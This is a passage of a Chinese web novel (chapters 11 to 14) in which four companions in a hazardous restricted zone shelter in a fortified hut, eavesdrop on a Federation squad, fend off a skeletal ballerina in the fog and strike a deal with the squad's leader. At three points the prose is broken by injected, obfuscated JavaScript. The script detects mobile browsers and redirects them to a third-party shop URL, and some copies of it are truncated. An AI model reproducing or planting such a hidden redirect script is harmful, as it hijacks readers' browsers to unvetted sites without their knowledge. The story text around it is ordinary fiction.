屋顶那架风车转个不停,声音洒下来,落在底下那片混乱的哀嚎与惊怒里,显得格外悠哉。 11. 第11章 阮天清和俞不晚回来了,一人肩上扛了个鼓鼓囊囊的麻袋。 “你们……又抢劫去了?”叶抒年上前帮忙接过一个,打开一看,里面塞满了罐头、压缩食物和几瓶水。 俞不晚先冲屋外仍在骂骂咧咧的林予安方向扮了个鬼脸,才利落地转身关门,落锁。 “这次真没有,袋子是我们从一栋废弃大楼里捡的,装的都是放在地上没人要的东西。”她拍了拍手上的灰,一副义正言辞的样子。 几乎同时,远处正清点物资的萧千复打了个响亮的喷嚏。他好不容易发现一处补给点,只出去召集队员这一眨眼的功夫,回来时地上已空空如也。 “003号禁区被开发得太早,遗留的物资不多,接下来几天未必好找,能带的就先带回来。”阮天清放下麻袋,揉了揉肩。 叶抒年想说其实她们根本不缺物资,她的储物空间内还囤积着不少系统奖励的小零食,但看到俞不晚和阮天清背得这么辛苦,也就没说什么。 “找到什么线索了吗?”林煦言看到俩人背着食物回来,心里已经猜到了七八分。 提到这个,俞不晚叹了口气,瘫坐在一旁的木箱上:“在禁区里转了一大圈,连界碑的影子都没看见,要我说这任务简直是为难人,万一那东西藏到树顶上,难道我还要一棵棵爬上去瞧?” “禁区既然让我们找,就说明那个地方是我们能够到的,别灰心,明天再往深处走走。”阮天清安慰道。 找不到界碑,只能在禁区内留宿一晚。幸而叶抒年有先见之明,她们四个待在安全屋内,可以最大程度规避夜晚禁区的危险。 俞不晚在屋里转了一圈,手指拂过新加固的窗框与墙壁,眼里满是讶异。 她东扣扣,西摸摸,终于确定眼前一切并非幻象,扭头就朝叶抒年扑过去:“年年,你也太神了!” 叶抒年被她勒得险些喘不过气,一边把人往下扒拉,一边含糊道:“只是……顺手修了修。” 对此,俞不晚表示,叶抒年这样不近人情令她非常伤心,而叶抒年则宛若一个无能的丈夫,手足无措地解释,自己只是被勒得喘不过气才做出此举。 在叶抒年摸出一包辣条,塞进俞不晚怀里后,对方才哼哼两声,心满意足地跑开,继续观摩她的小屋装修去了。 “这屋子看上去很老了,但还留着上一任主人的痕迹。”俞不晚蹲在墙角,不知道在研究什么。 叶抒年走近,也学着俞不晚的样子蹲下。 墙角有一小片未经粉刷的旧墙皮,上面留着些淡得几乎看不清的痕迹。 是几道歪歪扭扭的线条,笔触稚拙,像小孩用石头或木炭随手画的涂鸦。这图案被磨去了大部分,如今只剩一点模糊的轮廓,看不出究竟画的什么。 “看样子是很久以前留下的了。”叶抒年轻声说。 她伸出手指,虚虚地沿着那些断续的线条描摹了一下。 “我觉得,这小屋的前主人,一定是个有品位的人。”林煦言的声音从旁边传来。 上午匆匆躲避狼群时,谁也没心思细看这屋子。如今被迫在此地休整,时间慢了下来,自然也就多了几分闲心。 叶抒年回过头,看见墙边立着一面等身高的旧木框镜。林煦言正站在镜前摆弄自己的造型,看得出他对这面镜子很满意。 边上,阮天清和俞不晚对视一眼,各自转开脸,眼里都有些懒得评价的笑意。 叶抒年也凑上前去,将林煦言挤开。 镜中的她有些风尘仆仆,发丝被风吹得松散,颊边还蹭了点不知何时沾上的灰。 她抬手,将散落的碎发拢到耳后,又抹了抹脸颊。镜中人眼神沉静,虽带着倦色,轮廓却清晰利落起来。镜子映出她身后的小屋一角,映出窗外沉下去的暮色。 四人在屋内用过简单的晚餐,不知不觉间,屋外的天光已经完全褪尽。 叶抒年将脸贴近冰凉的玻璃,才勉强看清窗外景色。 屋外本就环绕着一眼望不到顶的巨木,此刻那些轮廓融成一片沉黑,仿佛蛰伏的兽脊。 忽然,一抹跳动的光亮刺破黑暗。 她聚精会神地望去,才发觉那是一簇篝火,在林木缝隙间明明灭灭。 “那边好像有人。”叶抒年惊讶道。 阮天清原本在单手拎着背包当哑铃用,听到这话后立即将包放下,走到窗边。 她将屋内的灯全部关上,灯光熄灭的刹那,窗外的火焰骤然清晰起来。 “天菩萨,”林煦言的声音幽幽响起,“下次关灯之前先说一声吧,我刚以为我瞎了。” 天知道,他刚刚看到镜中的自己突然黑成一片,是什么感受。 可惜没人搭理他,另外三人都挤在窗前,望向那片火光。 “是联邦的人。”叶抒年视力极好,从晃动的光影间辨出了萧千复一闪而过的侧脸 看来,今天林予安气跑界碑这件事让不少人遭了殃,尽管没人知道那界碑为什么这么生气。总之,联邦的小队也没能安全撤离禁区。 “他们怎么敢在林子里过夜,不怕遇到异兽吗?”俞不晚刚问出口,自己先明白了。 大概是白日那场团灭狼群的误会,让萧千复平白生出了不该有的底气。 阮天清皱了皱眉,目光沉了下去:“他们这样很危险,即便火光能驱退一部分异兽,但这里对人威胁最大的,从来不是异兽。” 而是规则。 “说不定,他们是故意为之呢?比如,吸引一些东西。” 叶抒年对那位名为萧千复的少年了解不多,但综合这两日的表现来看,那人也并非愚蠢莽撞之辈。至少白日在狼群前的指挥,显出了不俗的冷静。 因此,她觉得对方这一举动说不定有所图谋。 可如果真是故意为之……他想引来什么? “界碑?”俞不晚忽然出声。 三人目光一碰,都从彼此眼中看到了同样的猜测。 既然界碑会生气,会逃窜,那是否也会被某些东西吸引?比如,黑暗里这一点温暖的光亮。 “还好我带了这个,不枉我背了一路,总算能用上了。” 俞不晚忽然转身翻起自己的背包,手在里面摸索片刻,掏出一块椭圆形的石头。石面流转着斑斓色泽,像封存了一片极光。 回响之心! “你有这好东西,怎么不早拿出来?”叶抒年上午才为耗尽能量的那颗心疼,此刻眼睛一亮,接过来仔细端详。 “之前用不上嘛,”俞不晚大方地摆摆手,“这东西是我在广场淘来的,花了好多积分呢,黑市的人心都黑!” 叶抒年不由想起她之前在广场索要M16时那副理直气壮的模样,嘴角弯了弯。 “这颗的异能是?”阮天清问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958914|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “窃听。”林煦言答得比俞不晚还快,他见过这类纹理的回响之心,记得清楚,“而且是远程窃听。” 叶抒年指尖抚过石面,眼底闪过一抹狡黠。 不远处的林间空地上,篝火正旺。 那是用火系异能点燃的,火舌起伏窜动,不时迸出噼啪作响的金红火星,将四周密不透风的黑暗逼退一圈,照亮了围坐的年轻面孔。 萧千复正让队员们汇报下午搜查的进展,气氛有些低迷。 说来也怪,白日里,他们原本计划最后搜刮一遍工厂物资,结果进去后一无所获。心灰意冷准备返回联邦基地,又突然看见天上飘来几行字,中心思想就是——他们出不去了。 “这都什么事啊,前辈们不是说003号禁区出现变故的概率几乎为零吗?怎么还有没被探索出来的规则,我们也太背了……” 叶抒年趴在窗户前听到这句,在心里默默接话:大概因为此前来禁区的人当中,没谁会在界碑上乱刻乱画吧。 萧千复的声音响起:“003号禁区前身只是个小县城,范围有限。我们日常训练,哪天不是负重跑几十公里?这次的行动,各位就当成是特殊训练吧。接下来各自报一下下午搜过的方位。” 叶抒年眼睛一亮,立刻从储物空间里摸出半张草纸,就着窗边微弱的光,飞快记了起来。 “我负责西侧老城区外围。那些旧楼塌得很厉害,三层以上的楼梯全断了,只能在地面层简单翻找。没有看到碑状物,倒是……在瓦砾堆里见到些散落的老照片,不过照片已经发黄,看不清人脸了。” 另一位队员的声音稍显犹豫:“北边被丛林和岩壁堵死了,再往前走只有山洞,我们没敢过去,也没在地面上看到界碑……” 几个队员陆续汇报完毕,叶抒年的草纸上也记得密密麻麻,旁边还多了一张依据方位匆匆勾勒的禁区简图。 “这是个什么玩意?”林煦言指着图上几团缠在一起的线条问。 “老城区的建筑群啊,看不出来吗?我特意画了这么多隔间。” 叶抒年从小不擅长绘画,但不知出于什么原因,一向对自己的画工充满信心,因此理直气壮地指着图上乱七八糟的线条一个个解释:“喏,这是窗户,这是楼道。东边山谷我标了等高线,西侧老城区,北面是岩壁和山洞,南边这堆是丛林和废弃工厂。” 阮天清端详片刻,点了点头:“能看懂,画得很形象。” 林煦言看着那抽象中带着一丝狂放的笔触,把话咽了回去。 他正想再听听联邦那边的动静,眉头却忽然一皱:“怎么回事?声音断了。回响之心的能量是不是耗尽了?” 窃听那头确实静了下去,像被什么东西骤然掐断。 “不可能啊,”俞不晚立刻摇头,拿起那颗回响之心,石面依旧流转着微光,“能量还很充足,我买来后第一次用——” 她的话戛然而止。人已贴到窗边,向外望去。 就在刚才,林间那簇篝火的光晕,此刻忽然模糊起来。不知何时弥漫开的浓雾,正丝丝缕缕地吞没着火光,将那片空地笼成一团朦胧的昏黄。 寂静中,唯有一样东西穿透雾气,隐约抵达众人耳边。 是乐声。 一首钢琴曲,音色干净,旋律舒缓悠扬,正不疾不徐地流淌着,渐入佳境。在这片浓稠的深夜里,显得格外清晰,也格外诡异。 12. 第12章 突如其来的钢琴声让大家都陷入了沉默,叶抒年刚想开口说点什么缓解气氛,窃听那头却先一步炸开。 “啊——!” 一声几乎不成调的惨叫,刚出现便戛然而止,像被什么硬生生掐断。 四人猛地转向窗户。 远处那片被浓雾包裹的篝火依旧昏黄,只是火光边缘,隐约晕开一团更深暗的血色,正在雾中迅速洇染。 “是第二规约。”阮天清肯定地说。 003号禁区第二规约,遇见浓雾时,要保持静止。按理说,联邦的人不该出现这么低级的失误,也不知那边究竟发生了什么。 叶抒年心口一紧。 她想起昨天离开禁区时,那片毫无征兆漫上来的雾,和那只游走在脸颊上、冰冷滑腻的手。当时她只是烦躁,此刻看着窗外那片血色,迟来的寒意才一寸寸爬上脊背。 幸好……那时她谨遵规则,一动不动。 叶抒年又朝窗外望去,试图看清那迷雾之中究竟发生了什么。可这一眼,却让她头皮发麻。 那片浓雾,正悄无声息地朝小屋漫过来。 雾气在扩散,像一层缓慢推进的苍白潮水,距离她们越来越近。 不知道这间被她加固升级过的小屋,能否抵抗即将到来的东西。叶抒年紧张地想,总该有些用处吧,她可是花了整整2积分呢。系统应该不至于忽悠她这种穷人…… “那东西要朝着我们这边来了。”阮天清说。 “什么东西?” 俞不晚虽不是第一次来003号禁区,却从未真正遭遇第二规约,并不清楚即将面对什么。 她很快就得到了答案。 钢琴曲依旧婉转,甚至更近了,每一个音符都像滴落在耳边。窗外的景物已彻底消失,连最近的树影也在雾中融成了模糊的灰块。 随着乐声一同逼近的,还有脚步声。 嗒、嗒。 不是正常的行走,是跳跃。每一步都精准地踩在节拍上,轻盈律动,仿佛真有个看不见的舞者,正踮着脚尖在雾中旋转。 叶抒年喉头动了动,想开玩笑说其实也没那么恐怖,闭上眼听像是有人在身边跳芭蕾,那画面想想还挺美。但下一秒,她就笑不出来了。 “叩、叩。” 窗玻璃被敲响了。 窗户上,贴着两张脸。 一张脸惨白如纸,脖颈处还残留着新鲜血迹,脖颈以下便什么都没有了。血渍从断口喷溅到脸颊上,痕迹淋漓,仿佛还能看见头颅被拧断时,血脉最后那一下激烈地喷张。 而另一张脸…… 不,或许不该称之为“脸”。 那是一具完整的骷髅骨架,白骨森然,黑洞洞的眼眶正对着屋内四人。 “呜——!”林煦言猛地倒抽一口冷气,声音硬生生卡在喉咙里,变成短促的呜咽。 他当然不是没见识过禁区里的场面,可这么惊悚的画面,冷不防看到还是被吓得不轻。 他本能地往旁边瞥了一眼。 阮天清眉梢都没动一下,这会儿已经冷静地取出近战武器;俞不晚两眼放光,看上去格外亢奋;叶抒年则专注地盯着窗外,似乎在研究什么。 对比之下,他自己刚才那声抽气显得格外……没出息。 “……有、有什么好怕的!”他飞快地挺直背,清了清嗓子,试图让声音听起来沉稳有力,可惜尾音还是不受控地飘了一下,“没事,姐……我保护你!” 叶抒年没搭话,她正皱眉观察着窗外的那具骷髅,暗自估算这间屋子的防御值够不够。 骷髅身姿修长,骨节匀称,如果为它添上皮肉,大概会是个好看的人。 它套着一身暗红色的芭蕾舞裙,布料早已朽败,边缘凝结着大片深褐色污迹,像干涸的血。裙摆随动作轻晃,露出纤细的胫骨与跖骨。 莫非,这就是昨天下午在雾中抚摸她的东西?叶抒年想到这个猜测,顿时毛骨悚然。 骷髅似乎只能在浓雾中行动。由于小屋坚固的外墙将雾隔绝在外,它始终无法真正触及窗内的人。 但它并未在窗户上贴太久,而是很快向后退开半步,然后,在悠扬的钢琴曲中,踮起了脚。 它开始旋转。 像一位真正的舞者,动作出乎意料地流畅,每一个旋转、每一次跳跃都带着经年累月练习才能拥有的优雅。 恍惚间,叶抒年觉得自己不是在看一只怪物,而是在看一场真正的演出。 如果忽略那白森森的骨架、空洞的眼眶、以及脚尖点地时溅起的血雾,这甚至称得上是美的。然而正是这种美,让怪诞的恐惧更加深刻。 一曲终了。 那骷髅舞者忽然停下,眼眶转向屋内。 下一秒,它猛地抬起臂骨,开始激烈地拍打窗玻璃。 “哐!哐!” 响声沉重而急促,整扇窗户连带窗框都在震颤,仿佛下一秒就要碎裂崩塌。它似乎很不满观众隔着这样一层东西与它遥遥相望,正迫切地想要闯进来。 “它要进来了!”林煦言被那一声响过一声的拍打惊得后退半步,下意识看向叶抒年。 叶抒年却站得稳稳的。她下午花了大力气修葺这屋子,又用仅有的2积分升级了防御系统。说实话,她不认为这东西能成功破窗。 阮天清瞥见她沉静的神色,像是明白了什么。 她一边利落地为双臂绑上近战武器,一边低声道:“不出意外的话,它进不来。” 但为防万一,她还是伏低身形,目光锁死窗口。 一旦玻璃破裂,她会率先拧断那具骸骨的脊椎。 一旁,俞不晚早已将枪炮架上肩头,眼底跃动着近乎兴奋的光。 禁区规则她或许陌生,但对付能触摸到的敌人,她可太擅长了。从受雇至今还没机会展示实力,她甚至有些跃跃欲试。 不过,她的火力终究没能派上用场。 那具骷髅徒劳地拍打着,一次比一次焦躁,窗户却□□如初。它像是第一次遇到这种状况,茫然地顿了顿,眼眶注视着那扇顽固的窗。 愤怒也无济于事。最终,它缓缓收回臂骨,重新踮起足尖,回到最初那副沉静的状态,伴着未散的钢琴余韵,旋身舞入浓雾深处。 那舞者离开之前,在窗台上轻轻叩了三下。 “嗒、嗒、嗒。” 最后一声叩响的同时,叶抒年清楚地察觉到,对方的眼眶正对着自己,停留了许久才转身离去。 “这算什么意思?”林煦言从惊吓中缓过神,撑着瘫软的腿凑上前,摸了摸那扇刚立下“战功”的窗框。 触手冰凉坚实,乍看连一道划痕都没有。这下,少爷心里拉拢叶抒年的念头,又坚定了几分。 “敲三下,这是什么暗号吗?” 俞不晚有些意犹未尽地将肩上沉重的枪炮卸下,随手靠在墙边,语气里还带着点未能交手的遗憾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958915|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮天清解开绑在小臂上的武器带,指尖拂过皮肤上那道蜿蜒的旧疤。那是她早年与一头顶级异兽搏命留下的。 “我以前也见过它,但像今天这样失控是第一次。敲三下……或许是在表达愤怒吧。” “我猜,它明天还会来找我们。”叶抒年忽然说。 她脑中闪过上辈子玩过的几款游戏,那些Boss战前的警告信号若是三下,通常意味着倒计时。 敲三下……三次机会,还是三天期限? 不管是什么意思,她们都得谨慎。从刚才的表现来看,那舞者估计记住她们几个了。 “我说,这窗户倒是真结实。”林煦言还在研究那扇质量好得惊人的窗户,目光忽然定住。 在玻璃右下角,一个不起眼的角落,出现了一小片模糊的图案。 是一双芭蕾舞鞋的轮廓。 线条极细,像是用极尖锐的东西刻上去的。围绕着图案,玻璃表面蔓延开蛛网般细密的裂痕,虽然尚未穿透,却已清晰可见。 “姐,你看这里。”林煦言的声音低了下来。 叶抒年走近,指尖悬在玻璃上,最终轻轻触碰到那片图案。就在触及的瞬间,她浑身一僵。 一股陌生的痛感,突兀从骶骨深处窜起,仿佛那处骨头已然碎裂。疼痛随即顺着脊柱攀升,留下令人不安的战栗。 她吃痛后立刻收回手,后退半步,目光却紧紧锁在玻璃上那舞鞋的刻痕处。 疼痛来得突然,去得也快。但残余的不适感却萦绕在骨骼深处,仿佛某种无声的警告。 “怎么了?”阮天清察觉到叶抒年脸上一闪而过的异样。她也伸手,指尖落在那片舞鞋图案上,神情却没有任何变化。 叶抒年看着她平静的侧脸,心下了然:“刚才我触碰这东西的瞬间,就感到身上很疼,不知道怎么回事。” 俞不晚和林煦言听后,也纷纷将手指放在图案上,却都没有感受到叶抒年所说的那种钝痛。 此事无解,叶抒年只能暂且作罢。 阮天清盯着那图案看了许久,突然皱眉说:“这像是某种标记。” “标记什么?”俞不晚问 阮天清摇头:“不知道。可能是‘我记住你们了’的意思,也可能是……某种邀请。” 叶抒年心里一沉,邀请她们去看跳舞?还是邀请她们一起跳?前者她们刚才已然体会过,后者她并不想感受。 “躲在屋里不是长久之计。”她斟酌着说。 几分钟前,她还在庆幸自己绑了个烂尾楼系统,但现在想来,系统升级的防护并非万能。 窗户已经出现了损伤,下一次呢?如果那具骷髅再度归来,这间小屋,是否还能护得住她们四个人? 谁也不知道。 “我们出去一趟。”叶抒年作出了决定。 不管怎么看,刚才那舞者的举动都很反常。她想尽快找到联邦的人,同他们交换一下情报。 “现在?”林煦言看了眼窗外重归清晰的夜色,“那东西是走了,可外面未必就安全。” 阮天清沉思了一会儿,说:“我同意现在出去。”她站在窗边,目光落在窗外地面。 那里留着一样被舞者遗落的东西。 “顺便,去把这个还了。” 叶抒年顺着阮天清的视线望去,被那副景象吓了个激灵。原来,窗边还留着一张尚未瞑目的脸。 现在,她们出门的理由又多了一条。 13. 第13章 经过协商,四人最终决定由林煦言在屋中守家,其余三人则各自带上武器出门,没多久便站在了联邦小队的篝火旁。 “你们也遇到那东西了?” 萧千复的声音发紧,裹着未散的颤意。他怀中抱着叶抒年刚才递过来的包裹,还没从那场惨剧中缓过神。 这是他第一次正式与叶抒年几人打交道——白日里俞不晚那场蒙面抢劫不算。 此刻的俞不晚早已换了一身轻便利落的装束,面具也摘了,长发束起,模样清爽,与先前那个扛着冲击炮的悍匪判若两人。 萧千复的目光从她脸上掠过,并未停留,更未起疑。 不过,即便叶抒年已经说明了来意,他眼底仍满是戒备。 他身边,幸存的队员们也沉默地望过来,每一道视线都带着未散的惊悸与警惕。 在叶抒年等人来之前,他们还三五围坐,有人低声啜泣,有人抱着胳膊发抖。血污在地上漫开,没人敢去清理。 “嗯,我们这次虽然侥幸逃过一劫,但总感觉不对劲。先前我们也遭遇过一次浓雾,但那时没有钢琴声,也无法看清雾中的舞者。”叶抒年说。 萧千复身为指挥,谨慎地察觉到对方这是想交换信息。 他本不想接,但想到如今大家都被困在这里,三天时限针对的是在场的每一个人,斟酌一番才开口: “我们此前也遇到过浓雾,但前几次都没有出现过今天这种情况。” 以往的雾只是雾,雾中从没又什么舞者,保持静止便能捱过。 但今天,那东西突然踩着舞步出现,越来越近,甚至主动邀人共舞。有队员被那景象吓到,本能地退了一步,紧接着就被扭断了脖子。 “我们怀疑,”阮天清接过话,“界碑消失后,禁区规则的攻击性变强了。” “你是说……规则本身变了?”萧千复眉头紧锁,“要真是这样,就棘手了。” 要在茫茫林海中找到一座会自己移动的界碑,本就难如登天;若连原本熟悉的规则都开始改变,他实在没有把握能把剩下的队员都活着带出去。 “你刚才说那舞者会邀人共舞,”叶抒年忽然抬起眼,“刚才遇害的那位,就是收到了邀请?” “是,”萧千复声音发涩,“第一个被邀请的就是他。” “那之后呢?还有其他人也被邀请吗?” “没有了,他倒下后,那东西就朝着别处去了。” 夜色里安静了片刻,只有木柴燃烧的噼啪声。这寥寥几句勾勒出的画面,比直接的惨叫更让人心头发沉。 综合萧千复描述的经过,迷雾杀人的规则,如今已经变为了舞者杀人。即便雾中的人原本保持着静止,舞者的行为,依然会对其产生干扰,迫使对方违反规则。 舞者的出现带着明确的目的性,却又没有滥杀。这其中的原因只可能有两种。要么,它一次只能杀一个人;要么,它只挑特定的人杀。 可如果是后者,它选人的标准是什么?为何偏偏是那个人收到了第一份邀请? 如果能从被害人身上找到线索,或许就能推理出舞者杀人的规律。 “他身上有没有什么特别之处?或者在雾里的时候,对那舞者做过什么?”叶抒年问。 萧千复沉默片刻,摇了摇头:“他是队里的老人了,做事向来稳妥。硬要说特别……他眼睛有些斜视。” “那他刚才,有没有和舞者对视?” “雾一来,所有人的视线都受到影响,根本看不清他究竟做了什么,只知道,他没做什么大幅度的动作。” 线索到这里,似乎已经断了。 叶抒年心头漫上一点沮丧,忽然又想到什么:“那舞者离开前,有没有留下什么?比如某种标记,或者做了特别的动作?” 萧千复思索片刻,说:“没看到明显的标记。不过……”他指向营地边缘一棵枝叶扭曲的老树,“它走之前,在那棵树上敲了两下。” 敲了两下! 这话像枚火星,瞬间点着了三人的眼睛。 线索这不就串起来了!舞者在她们的窗前敲了三下,在联邦这边的树上敲了两下,这其中肯定有什么关联。 一个令人不安的联想浮现在叶抒年脑海:如果初始的敲击次数是对每组人的某种计数,联邦因为死了一人,所以变成了“二”…… 这是否意味着,敲击次数代表着舞者预定的死亡倒数? 她被这个念头攫住,心下一沉。若真如此,她们四人安然走出这片禁区的希望,恐怕要渺茫许多。 “怎么,那东西在你们面前也做过这个动作?”萧千复看到几人的神情,猜出了大概。 叶抒年点点头。 线索的拼图多了一块,局势看上去明朗了些,却又坠入更深的迷雾。 那敲击声究竟是倒计时,还是别的暗示?舞者杀人的依旧到底是什么?疑问盘根错节,此刻却无暇细究。 叶抒年抬头看了眼被枝叶切得支离破碎的月色,远处钟声恰好再次荡来。这是今天的第九回,钟鸣六十四响。每一声都在提醒禁区内的人,时间正从指缝间流走。 “我们先回去休息吧,”叶抒年收回目光,“明天还得早起。” 阮天清与她视线一碰,微微颔首。 三人转身,正要踏入林木的阴影,身后却传来萧千复的声音: “等等。” 叶抒年脚步一顿,回过头,眼神询问对方还有什么事。 只见萧千复上前一步,像在斟酌词句,片刻才开口:“刚才……我看到林子里有灯光,是你们的住处吧?” 他抬起眼,语气放得缓而稳,却掩不住底下那层压迫的意味。 “你们看这样如何,我们合作。我的队员都是联邦正式成员,今夜让我们进去休整,万一有情况,也能保护你们。” 叶抒年眉梢微动。 看来对方是把她们当作某个人丁单薄、只是运气不错的小聚落的人了。这提议听来体面,实则处处是联邦占着便宜。 她侧过脸,余光扫向身后。 阮天清没说话,只静静地看着她,眼神在说“你做决定就好”。 俞不晚就没那么沉得住气了,几不可闻地“嗤”了一声,不满之意溢于言表。 叶抒年此刻忽然懂了林煦言早前那几句话,联邦的人真是一群伪君子。萧千复刚才那姿态,她丝毫不怀疑,如果她直言拒绝,对方下一刻就会带着人硬闯。 不过,跟伪君子打交道,也未必讨不到好处,毕竟他们向来致力于维持一些外表的体面。 “可以。”叶抒年转回身,迎上萧千复的目光,“但有条件。” 萧千复显然一怔。大概也没想到,他都已经自报家门,对方还这么没眼力见,敢跟联邦提条件。 他脸色凝了凝,随即很快调整神态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧千复与副手简单交流过后,吸了口气,目光沉沉地盯住叶抒年。 “材料,我先给你一部分,剩下的出去后再补齐。但作为交换,我们联邦全体队员,在那间屋子里的休整时间,要延长到三天。” 界碑不知何时能找到,规则却在步步紧逼。他必须为这支已经受损的队伍,争取一个足够稳妥的喘息据点。 叶抒年等的就是这句话。 她唇角一弯,露出温和的笑:“一言为定。萧队刚才的话我都录下来了,欢迎联邦入驻我们的庇护所。” 她指尖一抬,那枚早晨在广场购得的影语石正静静躺在掌心,在昏暗中散发着足以被所有人看清的莹莹光泽。 经过刚才出门前,林煦言对她的速成教学,她已将这石头的不少实用功能摸了个透——比如录音。 萧千复的目光落在那点微光上,嘴角几不可察地抽搐了一下,最后像是认命般向队员下达指令。 “……召集队员,跟上。” 一行人重新整理行装,熄灭篝火余烬,沉默地汇入叶抒年三人的身后。 手电光束划破浓稠的黑暗,照亮脚下盘根错节的小径,和前方那点自林叶缝隙间隐约透出的、来自小屋的微光。 14. 第14章 小屋本就不宽敞,联邦一行人进来后,空间更显局促。 几分钟前林煦言来开门,看见叶抒年身后跟着的那一串人影,表情顿时变得十分精彩。 “姐,你怎么把他们带回来了?”他压低声音问。 少爷倒不是怕被认出来,以这支小队的级别,还没资格在四大政权的联合场合见过他。只是本能地警惕那个狡猾的联邦指挥,怕对方借机拉拢叶抒年。 叶抒年一眼看穿他的顾虑,侧身轻声道:“暂时合作而已,出了禁区就不会再有瓜葛。忍耐一下。” 说完,她目光转向屋内。 尽管空间被占去大半,联邦的人倒还算守规矩,没去争那张唯一的床铺。 此刻,俞不晚和阮天清正并肩躺在上面闭目养神。两人各占一边,俞不晚手臂枕在脑后,阮天清则双手交叠放在身前,姿势整齐得仿佛训练过,颇有种一屋之主的镇定架势。 原本阮天清坚持要把床让给叶抒年,却被她摇头拒绝。 她在工地上惯了,随便靠哪儿都能歇,而阮天清是主要战力,需要好好休息。 叶抒年又看向另一侧。 屋角堆着些临时铺开的睡袋,联邦的队员陆续坐下,动作轻缓,看得出在尽量控制,不发出声响。 萧千复则站在门边,正低声交代守夜的轮次,余光却时不时和叶抒年对上。 叶抒年不想和那人对视,索性转过身,在躺椅上调整了个更舒服的姿势。从这个角度望去,正好能看见屋内那面等身镜。镜中映出屋子另一侧的景象。 不多时,萧千复已经抱臂倚在门边,双眼微阖,像是准备就那样休息了。 而林煦言早已趴在桌上睡熟,脑袋枕着手臂,嘴角微微张,一线晶亮的口水正悄悄淌下来。 叶抒年看着,忍不住极轻地笑了一下。 窗外的夜色愈发浓重,小屋彻底沉入寂静,只余起伏的呼吸声绵长均匀。可她却迟迟没有睡意。 她的思绪还缠在夜雾里。 今夜遇到的舞者,和她预想中的不同。她想起第一次遭遇迷雾时,只有雾,没有乐声。 最重要的是,那只抚过她脸颊的手,虽然带着些微寒意,触感却是细腻的,带有皮肤的柔软。与今夜所见那森然白骨,截然不同。 叶抒年总觉得不对劲。 她原本假设,自己两次遭遇是同一存在,可如今种种迹象都在否定这个猜测。也就是说……当时在雾中触碰她的,是另一样东西。 是另一只怪物吗?还是……别的什么人? 后一个念头刚冒出来,就被她自己否定掉。不可能是其他幸存者。禁区的规则束缚着每一个人,没人能在雾中移动。 想到这里,叶抒年的心绪又往下沉了沉。 如果这片禁区里还藏着第二只怪物,而根据萧千复和阮天清的描述,它又鲜少被人遇见。那么眼下的局面,恐怕比预想的还要棘手。 这些纷乱无解的谜团一个个缠绕上来,叶抒年最终还是蹙着眉浅浅睡去。 翌日,窗边第一缕晨光经镜面折射,恰好落在她眼皮上,硬生生让叶抒年成了小屋中最早醒来的那个。 没过多久,阮天清和俞不晚也相继起身,利落地整理好行装。三人摇醒了伏在桌上酣眠的林少爷,准备开始新一轮搜查。 出门前,叶抒年与萧千复简短约定,今日联邦小队往南,她们一行四人则向北面的山洞区域搜寻,夜晚再回来交换已知信息。 出门时,晨雾在林间尚未散尽,四人穿行其中,衣角很快沾上湿意。 没走多远,林煦言就憋不住了。昨夜碍于联邦那些人在场,他不得不收敛话头,此刻像是解了封,声音立刻活泛起来。 “要我说,那个姓萧的压根没打算诚心合作。”他踢开路旁一颗小石子,石子骨碌碌滚进草丛,“你们是不知道,联邦现在那位掌权人,背信弃义可不是一回两回了。” 早年他随哥哥见过那人一面,印象极深。 五十来岁,头顶已见稀疏,面上总堆着笑,牵起一串褶子,乍看像个和气生财的寻常老头,同其他几大政权首领的关系也十分不错,在民间风评极佳。 可林煦言亲眼见过,对方如何笑着将刀子递进盟友背心。那副慈眉善目底下,藏的全是算计。 他总觉得,萧千复待在那样的人手下,耳濡目染久了,难保不会也变成那般油滑模样。 叶抒年听出林煦言话里的不忿,边走边解释道:“我们本来也没指望他真能兑现全部承诺。答应合作,不过是缓兵之计。何况,不管最后如何,眼下的一部分好处我们已经拿到了。” 昨夜回小屋前,萧千复已将两样东西交给了她。 一张叠得齐整的影豹毛皮,三块打磨过的岩龟骨板。那大概是他私藏已久的宝贝,甚至不惜随身背着,交出来时一副忍痛割爱的模样。 “年年,你是真敢开口。” 俞不晚现在一想起昨夜叶抒年报材料单的场景,就忍不住笑,她觉得自己这辈子都忘不掉那位萧指挥当时的表情。 “那么多珍稀材料,换了旁人跟联邦打交道,怕是连提要求的念头都不敢有。” 她一边拨开挡路的垂枝,一边感慨。 “确实勇气可嘉。”连阮天清也轻轻颔首。 其实昨夜在前往联邦驻扎地的路上,三人便已私下议过,如果对方提合作,她们该怎样保证自己不吃亏。 不过当时商量的结果,是由叶抒年随机发挥,谁也没料到,她平时看着温柔随和,真对上联邦这般势力,竟能如此不卑不亢。 林煦言看到其他三人都这么通达,到底没再纠结那个姓萧的,转而换了个自认为轻松的话题。 “我们得早点找到界碑,赶紧出去……那小屋的桌子实在太硬,我昨晚压根没睡好。” 